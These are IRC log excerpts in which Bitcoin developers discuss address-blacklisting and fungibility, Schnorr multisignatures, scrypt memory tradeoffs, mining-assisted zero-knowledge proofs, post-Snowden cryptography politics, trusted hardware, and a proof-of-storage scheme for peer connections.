t want to be the sheriff of the Bitcoin community. We just want to create an ecosystem of clean addresses.
... if anyone needs motivation to figure out some crypto fungibility before they defacto royally screw fungibility - what next - deals with miners to block the unclean one?
17:15 < gmaxwell> adam3us: no, step (2) is everyone rushing to pay for subscriptions to their feeds so that they don't accidentally accept an unclean coin and thereby make their own coins unclean.
17:15 < gmaxwell> step (3) is miners block them, saving everyone else the trouble.
17:15 < gmaxwell> :P
17:15 < gmaxwell> (or
even to prevent their fees from being declared dirty)
17:15 < adam3us> they are bitcoin scourge
17:16 < gmaxwell> Well, presumably they haven't thought this through.
17:16 < adam3us> i mean seriously - its horrendous directin
17:17 < adam3us> outright destructive - 10x worse than satoshi dice. if anyone knows those devs/tech guys they should reach out
17:18 < gmaxwell> I think I'm a little less shocked than you because I expected this (and we've seen it proposed by newbies enough times
17:18 < adam3us> this is the kind of thing i was taking about fungibility introducing costs into the transactionlayer and pulling it down to the level of status-quo networks, its all wron
17:19 < adam3us> its also architecturally wrong - you need identity agnostic fungibility, and optional certified identity (required or not by the recipient by a peer choice)
17:20 < adam3us> and some transaction encryption really
17:20 < gmaxwell> adam3us: yea. identities are useful and don't require fungibility destruction or public privacy elimination.
17:20 < adam3us> so thats the design requirements in my view; the next challenge is how, its damn har
17:20 < adam3us> precisely
17:22 < adam3us> it maybe necessary to technologically disabuse them of their wrong headedness in the short term. i mean if their service was used by any bitcin biz or miners at any scale, that could be a serious problem for fungibility
17:25 < gmaxwell> adam3us: more precisely, we can't get privacy measures adopted if there is too much important infrastructure which demands they don't exist.
17:25 < gmaxwell> or says my logs:
17:25 < gmaxwell> 13:47 <gmaxwell> yea, no idea. In any case, I'm glad for anyone to be
17:25 < gmaxwell> working on some of this stuff. I worry if some of the stronger financial
17:25 < gmaxwell> privacy tools are not im plemented and widely used soon we'll grow too much infrastructure that assumes they don't exist.
17:25 < adam3us> yes, this is why the architecture is wrong - the biz people are making defacto architecture decisions
17:30 < sipa> i wish we had never stopped using pay-to-IP :(
17:31 < gmaxwell> petertodd: so, I realized last week that coinjoin and the replace-by-fee mutually assured destruction have a negative interaction potential.
17:31 < sipa> (and improved it with authenticated rather than replace it with pay-to-pubkeyhash)
17:31 < gmaxwell> petertodd: e.g. you CJ with someone to pay. And then your CJ party doublespends not paying your recipent. Then your recipent freaks the heck out and issues a destructive child...
17:39 < MC1984> the biz people are making defacto architecture decisions
17:40 < MC1984> whoops
17:41 < adam3us> i never got what replace-by-fee MAD was - petertodd wanted to be able to revise fees in case transactions got stuck, ok that has new problems for 0-confirms, then he proposed most things must remain as is, just the fee increase from a new input i presume, but how is that MAD?
17:41 < TD> sipa: what difference would that make?
17:42 < TD> sipa: the transactions are all still public
06:11 < warren> <---- yes, it's true, and that doesn't actually matter
06:11 < adam3us> warren: really whats the example of already happened?
06:12 < adam3us> petertodd: now you can give x to the smart card and H to the wallet/phone and the issuer can do the a=kG work, so the wallet only has to do r1=cx+w mod n
06:12 < warren> adam3us: at the simplest level, we exposed bugs in several components before they were merged into bitcoin-0.9. More complicated: we influenced the recent security releases with our own research meant to protect the bitcoin network.
06:13 < warren> adam3us: there remains more we are not disclosing to the public because it would risk to the bitcoin network
06:13 < warren> adam3us: the recent lively discourse about NODE_BLOOM remains unresolved and is related to one of those issues
06:13 < adam3us> petertodd: the extended EC schnorr sig is a, r1, r2
06:14 < adam3us> warren: ok, thats v. interesting and good to know, but i still prefer bitcoin-staging if it could be got off the ground
06:14 < warren> adam3us: good luck
06:16 < warren> adam3us: I'm not married to litecoin. I just looked at the state of things in March when I joined, found Litecoin to be "unmaintained, totally broken and without political opposition to fixing things" so I used that as a means to learn the codebase. I've been increasingly branching into fixing things in Bitcoin.
06:16 < adam3us> warren: re scrypt(1) apparently ROMix (also by colin percival) is provably memory-hard, memory hardness (freedom from time-memory tradeoffs) was not a design requirement of Scrypt(1)
06:16 < warren> adam3us: I began coin dev in May 2013, all of the failures you're talking about were long before my time.
06:16 < adam3us> warren: bitcoin armory is using ROMix for key derivation rather than Scrypt for this reason
06:18 < adam3us> adam3us: eg if you like you can make an scrypt implemntation (hardware or sofware) that is using mem=128kB parameter, but 16kB ram or 1kB ram - just more inner round repetition
06:18 < warren> adam3us: i'm fully aware of the TMTO thing, and i don't care.
06:18 < adam3us> warren: someone should try that, maybe you can mine scrypt faster on a gpu or fpga that way => profit
06:18 < warren> adam3us: people have tried
06:18 < warren> and I don't care what users do
06:19 < adam3us> warren: would be curious what the optimal scrypt tmto params were for diff hw
06:19 < warren> adam3us: the standard GPU miners use a 50% memory TMTO which seems to maximize performance for scrypt on that hardware. there's apparently FPGA and ASIC's hapening soon too.
06:20 < adam3us> warren: yes i hear the asic rumor will be interesting to see how that compares perf
06:20 < warren> adam3us: like I said earlier, the failure of the original scrypt parameters has nothing to do with the soundness of the network and its ability to defend itself
06:21 < warren> adam3us: I personally would be more concerned about the coins that invite regulatory hazard through properties like centralization
06:23 < adam3us> petertodd: so the observer conclusion is its a special form of 2 of 2 sig where the smartcard cant even tell which sig it contributed to (privacy) and yet can prevent double spending (up to hw tamper resistance) the observer is the smartphone/computer the card connects with which can prevent inflow/outflow subliminal channels
06:23 < warren> adam3us: I had already spent months testing a hybrid of 0.8 and 0.9 with Litecoin, so I reused most of that work in a Bitcoin branch with fixes and features. https://bitcointalk.org/index.php?topic=320695 Exposing more bugs before 0.9 while bringing some features to users sooner.
06:23 < adam3us> warren: agreed on both fronts, that was my motivation for committed transactions
06:23 < petertodd> adam3us: right, so explain in 30 seconds what's the big advantage of schnorr? is it flexibility? privacy?
06:24 < adam3us> petertodd: both
06:24 < petertodd> adam3us: ok, so what's the list of what it'll make possible? (remember, I need to explain this to a pool op, for instance)
06:24 < adam3us> petertodd: efficiency, flexibility, privacy, O(1) vs O(n) compactness of k of n sigs
06:24 < petertodd> adam3us: not clear enough
06:25 < petertodd> Like, give me a really simple example of something I can't do now, but will be able too.
06:25 < adam3us> petertodd: so you can make k of n sigs where the public key is a single public keya nd the private key is split into n pieces so you can have k of n sigs
06:26 < adam3us> petertodd: you can also after-the-fact combine your public key with another user to create an after the fact 2 of 2 (or n of n) that is represented by a single public key on the transaction
06:26 < petertodd> My inner Joe Public is saying "Huh?"
06:27 < adam3us> petertodd: so this results in smaller n of n sigs and privacy of how many people even are behind an address
06:27 < petertodd> huh?
06:28 < adam3us> petertodd: if n of n or k of n become widely used the sigs are smaller .. one sig vs n which saves block chain space, and makes chain validation n times faster
06:28 < petertodd> why are you fucking up Bitcoin? Bitcoin is perfect already, all hail Satoshi!
06:28 < petertodd> why all this complexity with n's and k's when you have bitcoin addresses and my balance!
06:29 < adam3us> petertodd: the primary risk for bitcoin is centralization and scalability, if that fails, bitcoin fails when dust becomes $10k and everyone switches to using lame trust me centralized "offchain", everyone shoudl care about this :P
06:30 < petertodd> The wiki says Bitcoin scales to VISA levels! Says so! Why change what already works!
06:30 < adam3us> petertodd: u need n of n for like type2/type3 exchanges, escrow situations etc so I expect them to become more common over time
06:31 < adam3us> petertodd: yeah right - i also can say something scales (with the unstated assumption that i can invent, implement and deploy not yet invented innovations that may not even be mathematically feasible) :D
06:31 < petertodd> type2/type3 exchanges? why do we want exchanges? decentalized exchanges is what we need like localbitcoins!
06:31 < adam3us> petertodd: u run a nice devils advocate line btw
06:31 < petertodd> heh
06:32 < petertodd> or in this case, devils mouth-breathing southern cousin :/
06:32 < warren> well, I give up, I cant' actually test mac builds/runtime so I can't fix this.
06:33 < adam3us> petertodd: u want type2/type3 because they are trustless - they cant steal your bitcoins, but they can green color tx so that settlement is faster allowing you to onwards trade and avoid volatility risk
06:33 < adam3us> petertodd: thogh i am also a fan of p2p atomic trade (must go reread those protocols and see if they are actually secure from abort/extort attacks)
06:33 < petertodd> heh, even I don't know what "type2/type3" exchanges are...
06:34 < adam3us> petertodd: type2 is like what bitalo is now working on, exchnge escrows fiat, but only does a2nd 2 of 2 sig n the transfer to finalize it; the actual ownership and authority is with users, a time lock ensures the user retains their bitcoin even if the exchange goes down without warning
06:35 < warren> I looked into installing a hackintosh VM to test this, but the amount of time needed to do it appears more than the time value of just buying a mac.
06:35 < adam3us> petertodd: type3 is if you have blockchain tradeable assets like litecoin vs bitcoin, or colored usdcoin from an issuer vs bitcoin or goldcoin; then the xchange isnt even escrowing fiat
06:37 < petertodd> right, I've never heard those terms myself
06:40 < adam3us> petertodd: probably cooked up in offline colorcoin discussions - to save having to describe a paragraph worth just give them a ame
06:40 < petertodd> huh, you gotta admit though, that's politically going to be seen as a very niche reason to change stuff
06:40 < adam3us> petertodd: sounds cool to VCs too ;)
06:41 < petertodd> you ever looked at the bitcointalk archives re: p2sh? just getting that was horribly painful
06:42 < adam3us> petertodd: probably scalability changes and decentralization are far higher priority however as far as I see its mostly an open research question if anything fundamental (non-incremental) can be done with scalability
06:42 < adam3us> petertodd: i didnt, but i think i got it; maybe i am missing something though?
06:44 < petertodd> one ugly thing with scalability is it's just as likely that bitcoin won't scale with regard to verification, so we'll see centralization, and rather than fix that the alternative instead will be people start using other systems that also don't scale, but have sufficiently low usage that they work in practice
06:44 < adam3us> petertodd: most people on the scalability idea exploration end up reinventing consensus ripple, and finally realizing how bitcoin defends against sybil and then "oh now i get it" :)
06:44 < petertodd> huh? who is even working on scalability other than myself and gmaxwell?
06:46 < adam3us> petertodd: multiple people think distributed offchain/scalability magic is the holy grail and are queueing up to pay for it to happen
06:46 < petertodd> such as?
06:46 < adam3us> petertodd: i'm not saying they got anywhere technically, i am saying they magically wish it could happen... and see $ for whoever could deploy it first
06:47 < petertodd> inputs.io and coinbase, among others, have actually deployed it, and it works just fine
06:47 < adam3us> petertodd: thats not distributed
06:47 < petertodd> it's dead simple and trading off counter-party risk is perfectly acceptable to a lot of people.
06:48 < petertodd> you mean decentralized, and so what? centralized solutions built on top of decentralized ones mean you've always got the decentralized system to fall back on
06:48 < adam3us> petertodd: well if that goes to its logical conclusion in 5 years and everyone is using trust me big 10 offchain bitcoin is dead for its assumed value/purpose of auditability, zero trust
01:46 < amiller> i started thinking about whether general/unbounded recursion can be implemented using snarks
01:47 < gmaxwell> amiller: I can imagine that code with the right "periodic" structure could be...
01:47 < gmaxwell> But it would be the same code that you could also prove its result in closed form.
01:47 < gmaxwell> And so, why not just put in the closed form code? :P
01:49 < amiller> well an example is like a list with unknown bound
01:49 < amiller> say a sum over such a list
01:50 < amiller> that would ordinarily require unbounded size input to the circuit which doesn't work
01:51 < amiller> but you can give it the root digest of a hash chain list and then that's obviously fine
01:52 < amiller> but still a circuit that just checks hashes would still have to check a bounded number of hashes
01:54 < gmaxwell> right sure, the challenge there is making something which is secure against a prover key generating oracle. otherwise, you would just rig the decisions to only check the right places.
01:55 < amiller> i think what i should do is show that iterations reaches a fixpoint somehow
02:21 < amiller> normally the possible configuration space of a turing machine is infinite
02:22 < amiller> because it can run for an unbounded amount of time and have add one more element to its unbounded tape at each step
--- Log closed Tue Aug 27 00:00:44 2013
--- Log opened Tue Aug 27 00:00:44 2013
10:54 < amiller> yeah so
10:54 < amiller> the only obstacle to implementing a snark verifier within a snark program
10:55 < amiller> is that we don't have any simple C code that implements the bilinear pairing needed to make pinocchio work
12:36 < gmaxwell> So I've been talking with Iddo in private about a bunch of SCIP things and came up with a cute idea you all may enjoy.
12:37 < gmaxwell> In some of the SCIP versions the prover produces a large number of locally testable points, then builds a hashtree over them, and the hash tree tells them which points to sample to show the verifier.
12:38 < gmaxwell> This can achieve reasonable security because the local tests depend on the other local tests, and a bad one is unlikely to pass with junk inputs.
12:39 < gmaxwell> But you still need to have many tests to achieve reasonable security, because the prover has a verification oracle (e.g. he can just simulate the oracle and keep trying junk inputs until he finds one that passes, unless you have many sampled points)
12:39 < gmaxwell> So I suggested this idea: You create the large SCIP proof with all the locally testable points, with its hash root in a transaction, and you give the whole big thing to a miner.
12:40 < gmaxwell> The miner uses its own randomness to test it (an interactive proof, no verification oracle)... and happy that its valid the miner mines a block.
12:40 < gmaxwell> Now you use that block hash to ultimately select which parts of the locally testable proof to transmit along with the block.
12:41 < gmaxwell> So a verification oracle now would have to have some large multiple of the whole bitcoin network's computational power.
12:41 < gmaxwell> Morover, as the block becomes further burried, later blocks can perform additional selection to further trim down the proof.
12:41 < petertodd> define "verification oracle"?
12:41 < gmaxwell> Until the proof is nothing more than the hashroot, security provided by POW burrying.
12:42 < gmaxwell> petertodd: A magic black box that you give a proof to and it tells you if the verifier would accept the proof.
12:42 < petertodd> gmaxwell: Hmm... ok so you want the verification oracle to have to have hashing power so you can't just use it to create fake proofs?
12:44 < gmaxwell> Right the idea behind these hash tree committment proofs is that they're non-interactive
the hash of the proof tells you the random elements to test... but unless you make the function that selects the points you sample very expensive a dishonect prover can potentially create a fake proof.
12:45 < gmaxwell> My idea is to introduce a weak kind of interaction, interaction with the bitcoin network, to create a verifier which is at least as strong at getting "oracled" as the bitcoin network is against overpowering attacks.
12:46 < gmaxwell> I had a weaker form of this idea earlier where you make the tranasactions two phase
first make a txn that commits your proof, then a second transaction which provides the selection... but I just today realized that you can have the miner do this, and it eliminates the need for two transactions.
12:47 < petertodd> Ok, so another way of describing it, is to just say that miners are making a non-interactive proof, but the selection process within that proof relies on the incredibly high cost of selecting blocks to avoid the invalid parts of the proof as opposed to a more general "picking only invalid requires 2^n hash ops"
12:47 < petertodd> Or really, by being multistage the "2^n hash ops" is achieved by multiplying the ops by the ops required to find a block.
12:47 < gmaxwell> petertodd: yea exactly. But in particular, it requires a multiple of the bitcoin computing power, whatever that is.
12:47 < petertodd> Kinda like I was talking about for UTXO posession proofs before.
12:48 < gmaxwell> Also, it fits with a general idea that as a block gets burried (more POW) you could use the subsiquent blocks to throw away more and more of the proof... So the network starts out as zero-trust validation, but the deep history is just POW-consensus validation.
12:49 < gmaxwell> if transactions were structured so that you could elide scriptpubkeys this could also be used to compress regular bitcoin transactions burried far in the history.
12:49 < petertodd> Heh, so you could describe it in terms of "including all the subsequent blocks, the proof would require n hash ops to have p probability of finding a fraudulent proof"
12:51 < amiller> i wonder why it should matter if you have old proofs
12:51 < amiller> like
12:52 < gmaxwell> also, if you generalize this to cover the validation of whole old blocks (e.g. by making hte chain a hash tree itself) and the fall off in proof size is exponential with more work, it means that the data required to sync the historical chain is some constant.
12:52 < amiller> if you have a proof that the nth block is valid and contains a proof that the n-1th block is valid and contains a proof etc etc
12:52 < amiller> why is it necessary to demonstrate posession of old history
12:53 < amiller> the only reason i think is to tolerate forks
12:53 < gmaxwell> amiller: It's not, assuming you have these proofs. (and forks, but forks don't _pratically_ apply to _old_ data, for some definition of old, or the system is already doomed)
12:54 < amiller> then the work could probably be used on something more meaningful
12:55 < amiller> hm
12:55 < gmaxwell> I fully welcome someone going out and building UTXO checkpoints that prove faithful validation... thats likely a big engineering challenge however.
12:55 < amiller> i have been doing a lot of work with the pinocchio guy, which is tinyram's competitor basically
12:55 < amiller> we are trying to implement hashes and merkle trees in pinocchio
12:55 < petertodd> gmaxwell: Yeah, with the fraud % stuff I was talking about before you could use the PoW hash to select some subset of transactions/txouts to show proofs for, which as you say keeps the sync data required constant.
12:55 < amiller> pinocchio is a small C compiler but it has no ram unlike tinyram, so we have to approximate it with merkle trees
12:55 < amiller> he says that it's impractical for the time being to implement the recursive checker
12:56 < amiller> even though it's constant size it is a big constant
12:56 < amiller> we'd basically have to port the whole GMP library and bilinear pairing operation to this and it's just expensive
12:56 < amiller> but i'm really convinced now that recursive composition will work in a straightforward way
12:56 < petertodd> gmaxwell: The fraud possible would then be a function of literally some % of total outstanding UTXO value - though it really should take age into account given lost coins would then make the economic % of fraud possible go up.
12:56 < gmaxwell> amiller: there is a lot thats _possible_ but the engineering work and runtime requirements are still just too insane.
12:57 < petertodd> gmaxwell: (assuming the numbers work out so that the % is even meaningful)
12:57 < amiller> it's engineering yeah but it might be worthwhile in this case
12:57 < amiller> even the cost of building the proofs diminishes if it can be parallelized/distributed
12:57 < amiller> which it can
12:58 < gmaxwell> petertodd: So I even wonder if the worrying about subsetting single blocks makes sense when you could just subset out whole blocks. So long as you could produce a locally testable proof of a single block (which we can, if we have a comitted utxo).
12:59 < gmaxwell> petertodd: so the idea is that for the old history you forget whole blocks forever, selected by the hash of new blocks... and just retain some fraction along with the locally testable proof (uxto fragments that let you validate the block).. would be interesting to work out the cheating economics.
12:59 < petertodd> gmaxwell: We don't even need comitted utxo really: in your proof just provide the txouts spent by that block a level deeper.
13:00 < gmaxwell> petertodd: hm. it's true, you just need the SPV fragments for all the inputs.
13:00 < petertodd> gmaxwell: It'd all work especially well for the simplier interactive case where you're just trying to make sure the UTXO set a peer gave you is actually valid - best of all if we screw up we can change the algorithm without even a soft-fork.
13:01 < gmaxwell> Yea, in the interactive case this is all a lot stronger. But if we want to make historical storage a constant interactive is out.
13:01 < petertodd> Sure, but point is we can engineer that *first*, and learn from it prior to doing the non-ineractive version.
20:26 < petertodd> That PRNG was used in a *lot* of corporate applications, it's easy to discount how much it was used because public open source stuff knew better.
20:27 < jrmithdobbs> still.
20:27 < jrmithdobbs> now that we KNOW the traffic is being archived for statistical analysis?
20:27 < petertodd> RC4 still hasn't been broken fully...
20:27 < jrmithdobbs> it's been broken enough for the scale of collection we're talking.
20:27 < jrmithdobbs> since the early 90s
20:27 < petertodd> and unlike before, we can argue against RC4 on the "maybe it's actually fully broken" angle without being labeled as paranoid
20:28 < petertodd> we can also argue that opinions of people who argue otherwise should be discounted because we *know* that there are NSA plants out there
20:29 < jrmithdobbs> petertodd: ya and what about new software being implemented using things like cram-md5 because there's just no standards that point them at anything sane?
20:30 < petertodd> bbl
20:30 < jrmithdobbs> petertodd: when we start adressing real problems ... :(
20:38 < gmaxwell> jrmithdobbs: pre-snowden a lot of tech people were letting themselves believe that only ${muslim terrorists} were being targeted with this stuff, snowden leaks show that basically everyone is, including the leaders of allied countries. Compartmentalization kept most people from knowing the scope though they might have guessed they could easily convince
themselves that they're paranoid.
20:39 < gmaxwell> jrmithdobbs: there was a massive shift in the IETF, all new standards for at least the next couple years will have people insisting
and winning in their insistance
on opportunistic encryption as mandatory. The people who used to combat that stuff with "waa waa you're paranoid, and waa waa we need higher speed for commercial purposes" have lost.
20:40 < adam3us> gmax: right; conveniently now the paranoid are proven righ and get a wildcard to fix stupid problems and dismiss stupidity as likely sabotage (and there probably was and remains real sabotage at ietf committee, internal company design, code, NIST on nist side and nsa side and so on.
20:40 < gmaxwell> They stand at the mic and say these things still, but then people put snowden slides up on the projectors and those people sit down.
20:41 < gmaxwell> (This happened in both the webrtc working group and http2.0 working group in the last IETF, and I expect to see more of it in vancouver week after next.
20:41 < gmaxwell> )
20:42 < gmaxwell> adam3us: yea. exactly. The pro-crypto people have a free pass, and they're making some use of it.
20:45 < adam3us> gmax: updated chameleon hash thread with the ecdsa version, found and fixed a few problems, and realized its actually got an extra property - bob cant forge at all if alice reveals the contract
20:47 < adam3us> the other extremely nice thing about the snowden leaks and shaming of NSA for illegal dangerous to society and democracy behavior is it finally swept away the last of the 911 security vs privacy which was a break on privacy tech startup activity; anyone interested in privacy tech has the moral authority for the next decade, and thats a fantastic asset
20:49 < adam3us> it puts the shoe on the other foot; its no longer but wont criminals or terrorists hide; rather its like i was saying the types of tings hal was saying - the onus is n the opposer to explain why they want to bypass the mechanism for exercising of legally protected rights of freedom of speech & association
20:51 < adam3us> and the trump card is lost: they cant say trust us thats only used for terrorists; we know it was used for everyone, and even abused in clearly non-terror cases as an undisclosed source (with some fabricated cover story of accidentally stumbling upon the "crime") judges were not amused to find that, and already there are some decisions informing the accused
20:51 < petertodd> It's also a money thing too: the leaks have shown you can't trust US companies and US cloud computing services, which is already having a very real impact, for instance IBM hardware sales to China have dropped by about 40% already.
20:52 < petertodd> This kind of things sends money to companies that aren't as suspect, and in turn reduces US influence on standards and hardware.
20:53 < adam3us> all the political lobbying and real or faux reaction from euro politicians: i think they should just funnel a few bil euro of their r&d framework towards end2end encrypt everything (the eur r&d budget is a scary thing - they spend billions and billions on academic / industry demonstrators and "applied research" most of which is crap)
20:54 < petertodd> A similar situation is with the ITAR controls on things like gyroscopes: at work I have to have an ITAR security clearance because we use missile guidance grade gyroscopes, and the system we're building is itself an ITAR controlled good. But the ITAR requirements are sufficiently onerous enough that it's making this tech available from non-itar-signatory
countries; we'll soon be able to ditch a lot of our US-made equipment for Russian-made, and even Iranian-made in some cases. (!)
20:54 < petertodd> Push money into non-US hardware companies and you'll be able to buy fully-Chinese made hardware, and setup systems where both the US and China would need to co-operate to break it.
20:54 < adam3us> yes its a bad day to be a us cloud company, and probably a bad day to be cloud company at all: it has shown the cloud cant be trusted, at least not without end2end encryption which only properly works for dumb storage without efficient FHE (tahoe-lafs is probably about as smart as secured cloud can get without fhe)
20:55 < petertodd> adam3us: yup. Trusted computing can change that of course, and as I said above, we'll hopefully get competing US and Chinese and others implementations of it.
20:57 < adam3us> i am wondering if chinese made cpus, chipsets and network gear is better in fact - the chines dont have anything against me, they're just interested in supressing domestic political agitation and the odd bit of industrial espionage; apparently stallman uses some chinese cpu laptop
20:58 < adam3us> everything i'm doing that i care about is open source and open spec anyway so the chinese have no interest and even seem neutral on bitcoin. vs the us is not to be trusted
20:59 < adam3us> petertodd: problem with trusted computing is trusting the manufacturer, though there are interesting things you can do with it, eg people were talking about a tpm secured remailer, its a toolkit for making arbitrary multi-party-computation
21:00 < petertodd> for sure, and it doesn't need to be better, just different. Even if the US and China were co-operating, it'd be easy to imagine situations where layering both techs would result in unbreakable systems. For instance, a US and Chinese PRNG may be broken by either, but in such a way that the combination can't be broken by either.
21:00 < adam3us> petertodd: which is really hard to do efficiently directly, whre with a tpm you can use remote attestation and tpm key management, trusted non debuggable agents, sealed disk storage and ring -1 protected ram to protect it
21:01 < petertodd> adam3us: I need to write up a paper on my thoughts on how to make useful open-source remote attestation capable gear; I do think it can be done with auditing schemes and careful hardware design.
21:01 < petertodd> too many projects...
21:01 < adam3us> petertodd: and the tpm's are going deeper, on to the cpu die, the embedded mmu, and i presume on the fly encrypted RAM (rather than the external mmu curtain on ring-1)
21:02 < petertodd> adam3us: yup, intels' next gen stuff is going to look like that
21:02 < petertodd> adam3us: basically I think you can make stuff that's just as secure form physical tampering, and make it in such a way that you can still take the device apart and verify the hardware did what it claimed to do.
21:03 < adam3us> petertodd: if one could do those things (open source hw tpm) or mix of chinese & us implementations in a strengthening enforcing way maybe could build a multi party RPOW with bitcoin inflation control :)
21:03 < petertodd> adam3us: for sure, and with such devices you can make my fidelity bonded banking stuff work in practice.
21:03 < adam3us> petertodd: that can solve many problems if the tpm can enforce hard to enforce issues, efficiently, scalably and without broadcast
21:04 < adam3us> petertodd: one generic problem is its hard to defend hw security where the enemy is the hw owner & operator, as DeCSS found out the harway
21:05 < petertodd> adam3us: yup, and with care, you don't need TPM's that are 100% unbreakable, just ones that have useful lower-bounds on how expensive it is to break any individual TPM
21:05 < petertodd> adam3us: right, and manufacturer and assembler should be added to that list too
21:06 < adam3us> petertodd: tpm-world is like a corporate firewall, if the nsa gets its nose inside there via a forged TPM signing key which is actually running in software what was supposed to be in hw, its a squishy insecure interior
21:06 < adam3us> petertodd: i am hoping instead we get fast enough FHE that people can build custom chips to do it in usable speed
21:07 < petertodd> adam3us: yeah, so the trick is build hardware where a third-party can take a whole production run of the hardware, tear some devices apart, verify they do what they claim to do, and sign the rest as authentic
21:07 < adam3us> petertodd: they clearly need something useful to do with 6.2bil transistors of the latest 2816 core amd offering
21:07 < petertodd> FHE?
21:07 < adam3us> fully homomorphic enc
21:07 < petertodd> ah
21:07 < petertodd> FHE can't do things like verify that Tor nodes aren't logging though
21:08 < adam3us> petertodd: it might be able to
21:08 < petertodd> how?
21:09 < adam3us> petertodd: there are some mind bending what ifs if you had it, eg could it do remote attestation, could it do ZKP of what code it ran (SCIP)
00:37 < amiller> generated by the verifier (the person who's about to accept a connection if the puzzle is responded correctly)
00:37 < gmaxwell> and what happens next?
00:38 < gmaxwell> (what does the responder do with the challenge?)
00:38 < amiller> you use that challenge as seed to a prf to generate random plinko paths down the tree
00:38 < amiller> the responder returns with some k number of merkle tree branches each long n
00:38 < amiller> log n*
00:38 < gmaxwell> great and you do that and you conclude that you should end up at ID 8
00:38 < gmaxwell> and then you compute H(verifierID || 8)
00:39 < gmaxwell> Where is your storage hardness? :P
00:39 < amiller> you need to produce the whole merkle branch
00:39 < amiller> that's really hard unless you've precomputed and stored it
00:39 < amiller> maybe it should be H(verifierID || proverID || i)
00:39 < amiller> so that multiple peopel can't share the same disk to sybil connect you
00:39 < amiller> but still the point is you make the leaves easily computed
00:40 < gmaxwell> amiller: nah, I can compute the data once, and just store the top N levels of the tree. (just a few hashes)
00:40 < amiller> but you make it so you basically need nearly all of them to answer a response
00:40 < gmaxwell> then I get a 2^N speedup in computing the answer.
00:40 < amiller> i see and then recompute some of them
00:40 < amiller> hm.
00:40 < gmaxwell> (I actually have a solution to this, I'm toying with you to see if you come up with it too, I was surprised at how long it took me)
00:40 < gmaxwell> (or if you come up with another one)
00:41 < amiller> uh, well, the next thing i usually think of is where each leaf depends on the previous so you actually have to compute them sequentially
00:41 < amiller> but that's hard to verify efficiently (at least i don't know how)
00:41 < gmaxwell> yea, but then how does the verifier not have to do the same
00:41 < gmaxwell> exactly.
00:42 < gmaxwell> okay, I give you my solution: https://bitcointalk.org/index.php?topic=310323.0 (when you care to look, it's simple)
00:42 < amiller> there might be trapdoor kind of things where the verifier has a shortcut but the prover has to do it sequentially
00:42 < amiller> that kind of thing is generally much easier in this interactive setting
00:44 < gmaxwell> amiller: yea, I came up with something which followed that description pretty exactly using fully homorphic encryption. (Basically the challenger asks the prover to run a secret sequential function, saving the intermediate results.. and with knoweldge of the function the challenger can instead run an algebraically simplified version) but FHE = yuck.
00:45 < gmaxwell> fortunately there is a simpler way.
00:46 < amiller> i've read that three times (at various times in the last two weeks) and haven't gotten it
00:46 < gmaxwell> wow, sorry. :(
00:46 < amiller> but now that i've paged in all the other naive ideas i can probably close the gap now
00:46 < amiller> "The server then can periodically pick a random index and perform log2(size) hash operations to determine the value at that index and then can challenge the client to provide the corresponding index for that value.
00:46 < amiller> "
00:46 < amiller> could you write that part out?
00:47 < gmaxwell> H(verifierID || proverID) is the seed to a tree structured pseudorandom function. E.g. you have efficient random access to this pseudorandom function.
00:47 < gmaxwell> the prover hashes the leaves of this function and stores the results.
00:48 < gmaxwell> The verifier picks a random leaf, computes its hash, and challenges the prover to tell it the matching index.
00:48 < amiller> i get how {Left, Right} = H(seed) is used to construct the tree the first time
00:49 < amiller> ohhh..... you sort the leaves when you're done
00:49 < gmaxwell> Right.
00:50 < amiller> can't you estimate the path for a value pretty closely
00:50 < gmaxwell> I'm asking you to have performed precomputation for a preimage attack on this function.
00:50 < gmaxwell> If you only know the seed and I ask you "What index leaf value begins with 0xDEADBEEF" what do you do?
00:51 < gmaxwell> There is nothing to estimate, its strongly pseudorandom, you couldn't do better than decoding sequentually until you find 0xDEADBEEF
00:52 < amiller> okay i think i get it
00:52 < midnightmagic> gmaxwell: It's computed on-the-fly as the server asks for it?
00:52 < midnightmagic> (first time rather)
00:53 < gmaxwell> midnightmagic: first time, I suppose. But the idea is to pick parameters where if you don't store the result you'll be wasting a ton of computation recomputing the whole thing for every challenge.
00:53 < gmaxwell> Where otherwise it would be just a couple IOs to find the right answer.
00:53 < amiller> it takes n log n setup time
00:53 < amiller> where n = 2^k
00:54 < midnightmagic> gmaxwell: I imagine th eguard time to allow the client time to compute would be spent just idling? What happens before the table is finally computed?
00:55 < gmaxwell> midnightmagic: if you made the seed H(your ip || peer's IP) you could actually compute it offline before ever trying to connect to them.
00:55 < gmaxwell> (argument against actually using IPs is nats, alas... more pratically you could connect, get your challenge and get kicked off, then come back later with your table built)
00:55 < midnightmagic> gmaxwell: In order for the server to verify that, it would also need to do it, but it doesn't know in advance who's going to connect?
00:56 < gmaxwell> midnightmagic: nope, the idea here is that the server doesn't need to do anything expensive to verify.
00:56 < gmaxwell> The function is fast to run in one direction, but not the other. :)
00:56 * midnightmagic reads it again..
00:57 < midnightmagic> ah.
00:57 < gmaxwell> The server picks an index at random, and then does log2(N) hash operations to find the leaf value at that index. (thats cheap)
00:57 < gmaxwell> then it gives you the leaf value and asks you for the index.
00:58 < midnightmagic> I guess Evil Server sits and listens for 50,000 incoming connections, has the client do single lookups, and disconnects without actually being a bitcoin node?
00:59 < gmaxwell> midnightmagic: perhaps. The way I envision this is that you'd have a server you already like, and you do this protocol with it to get yourself a privleged connection slot. So if the server gets dos attacked you don't get punted.
00:59 < midnightmagic> so we're talking one-way trust in that case. client knows the server is happy, server doesn't know the client is happy.
01:00 < gmaxwell> so if nodes are doing this only with servers they already like, the evil server attack isn't so concerning... but indeed, thats a point.
01:00 < midnightmagic> makes sense, I like it.
01:00 * midnightmagic files away conceptual technique for application to other things
01:01 < midnightmagic> the tahoe people were trying to do proof-of-storage to try to prevent servers from claiming they had data but actually not having it at all, and misleading clients into thinking the file was safe.
01:01 < midnightmagic> (without transferring the files)
01:05 < gmaxwell> this only works, sadly, with random data... but the reason for that is it requires the verifier to have never done the work. if you don't mind the verifier having had the data at one time, you can do this easily.
01:05 < midnightmagic> i wonder if the prng seed could be used to build an un-precomputable path through the blockchain
01:08 < midnightmagic> i guess that doesn't increase resources more than every bitcoin node already has.
01:08 < gmaxwell> sure but you'd have that same data for all peers, so it wouldn't stop you from connecting to 100k nodes successfully.
01:09 < gmaxwell> (otherwise, yea would be best to make the data bitcoin data, since the verifier already has that, and it's in our interest to copy it)
01:34 < amiller> gmaxwell, https://gist.github.com/amiller/7131876 http://codepad.org/Nzp2Vdsk
01:34 < amiller> seems fine to me now, i buy it
01:44 < amiller> i don't know why no one has done that before but i don't think i've seen anything like it
01:44 < amiller> really cool
